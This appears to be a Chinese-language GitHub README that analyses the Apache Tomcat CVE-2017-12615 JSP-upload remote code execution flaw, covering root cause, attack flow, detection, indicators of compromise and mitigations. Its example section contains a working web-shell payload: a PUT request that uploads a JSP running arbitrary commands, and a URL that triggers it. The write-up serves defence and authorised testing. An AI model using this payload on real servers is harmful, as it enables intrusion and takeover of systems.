K3ysTr0K3R/CVE-2017-12615
GitHub: K3ysTr0K3R/CVE-2017-12615
该项目是针对 Apache Tomcat CVE-2017-12615 远程代码执行漏洞的详细技术分析与利用指南,涵盖漏洞原理、利用流程、检测方法及缓解措施。
Stars: 0 | Forks: 0
# CVE-2017-12615 - Apache Tomcat 远程代码执行 (RCE)
**CVE-2017-12615** 是一个远程代码执行 (RCE) 漏洞,影响在启用了 HTTP **PUT** 请求且运行于 **Microsoft Windows** 上的 **Apache Tomcat 7.0.0 至 7.0.79** 版本。
该漏洞的存在是因为当 **DefaultServlet** 的 `readonly` 参数被设置为 `false` 时,Tomcat 对上传的 JSP 文件处理不当。在这种情况下,未经身份验证的攻击者可以直接将恶意的 JSP 文件上传到 Web 服务器,只需请求上传的文件即可执行任意 Java 代码。
由于该漏洞极其容易被用于攻击配置不当的服务器,它成为了最著名的 Tomcat RCE 漏洞之一。
## 受影响版本
- Apache Tomcat **7.0.0 - 7.0.79**
- Microsoft Windows 安装版本
- 启用了 HTTP PUT 方法
- DefaultServlet 配置了 `readonly="false"`
## 严重程度
| 指标 | 数值 |
|--------|-------|
| CVE | CVE-2017-12615 |
| CVSS v3 | 8.1 (高危) |
| 攻击途径 | 网络 |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 影响 | 远程代码执行 |
## 根本原因
通常情况下,Apache Tomcat 会阻止用户上传可执行的 JSP 文件。
然而,当满足以下条件时:
- 启用了 HTTP PUT 请求
- DefaultServlet 可写 (`readonly=false`)
- Tomcat 运行在 Windows 上
攻击者可以直接将 JSP 文件上传到 Web 根目录。
上传后,请求该 JSP 文件会导致 Tomcat 编译并执行它,从而允许在 Tomcat 服务的权限下执行任意 Java 代码。
## 攻击流程
```
Attacker
│
│ HTTP PUT
▼
Uploads malicious JSP shell
│
▼
Tomcat stores file
│
│ HTTP GET
▼
Requests uploaded JSP
│
▼
Tomcat compiles JSP
│
▼
Java code executes
│
▼
Remote Code Execution
```
## 利用过程
一次典型的攻击遵循以下步骤:
1. 识别易受攻击的 Tomcat 实例。
2. 验证是否允许 HTTP PUT 请求。
3. 上传恶意的 `.jsp` web shell。
4. 请求上传的 JSP 文件。
5. 执行任意系统命令。
6. 建立反向 shell 或部署额外的 payload。
如果服务器存在漏洞,则无需进行身份验证。
## 示例请求
HTTP PUT 请求示例:
```
PUT /shell.jsp HTTP/1.1
Host: victim.com
Content-Type: application/octet-stream
<%@ page import="java.io.*" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
```
如果成功,服务器将响应:
```
HTTP/1.1 201 Created
```
随后,可以通过访问以下地址来执行 payload:
```
http://victim.com/shell.jsp?cmd=whoami
```
## 检测示例
识别易受攻击系统的一种简单方法是尝试上传一个无害的测试 JSP 文件:
```
PUT /test.jsp
```
可能的响应包括:
```
201 Created
```
或者
```
204 No Content
```
如果随后可以通过 HTTP 检索到上传的文件,则该服务器可能容易受到攻击。
## 影响
成功利用此漏洞可以让攻击者:
- 执行任意操作系统命令
- 上传持久化的 web shell
- 获取反向 shell
- 部署恶意软件或勒索软件
- 窃取敏感信息
- 进一步向内部网络进行渗透
- 完全控制受影响的 Tomcat 服务器
## 攻陷指标
安全团队应针对以下情况进行调查:
- 意外的 HTTP PUT 请求
- 新创建的 `.jsp` 文件
- 未知的 web shell
- Tomcat 衍生出的可疑子进程
- 反向 shell 网络连接
- Tomcat web 根目录内的异常活动
## 缓解措施
建议的缓解措施包括:
- 将 Apache Tomcat 升级到已修补的版本。
- 除非绝对必要,否则禁用 HTTP PUT。
- 确保 DefaultServlet 使用 `readonly="true"`。
- 限制上传权限。
- 监控意外的 JSP 文件创建。
- 部署 Web 应用程序防火墙 (WAF)。
- 定期检查 Tomcat 访问日志,留意可疑的 PUT 请求。
## 技术总结
| 属性 | 值 |
|----------|-------|
| 漏洞类型 | 任意 JSP 上传 |
| CWE | CWE-434 - 危险类型文件的不受限制上传 |
| 需要身份验证 | 否 |
| 利用复杂度 | 在易受攻击的配置上为低 |
| 结果 | 远程代码执行 |
| 平台 | Windows |
| 服务 | Apache Tomcat |
## 参考文献
- NIST 国家漏洞数据库 (NVD)
- Apache Tomcat 安全公告
- CVE 记录:CVE-2017-12615
## 免责声明
本仓库仅用于教育目的、防御性安全研究和授权的渗透测试。未经明确许可,请勿将这些信息用于攻击系统。
标签:Apache Tomcat, JS文件枚举, 威胁模拟, 编程工具, 远程代码执行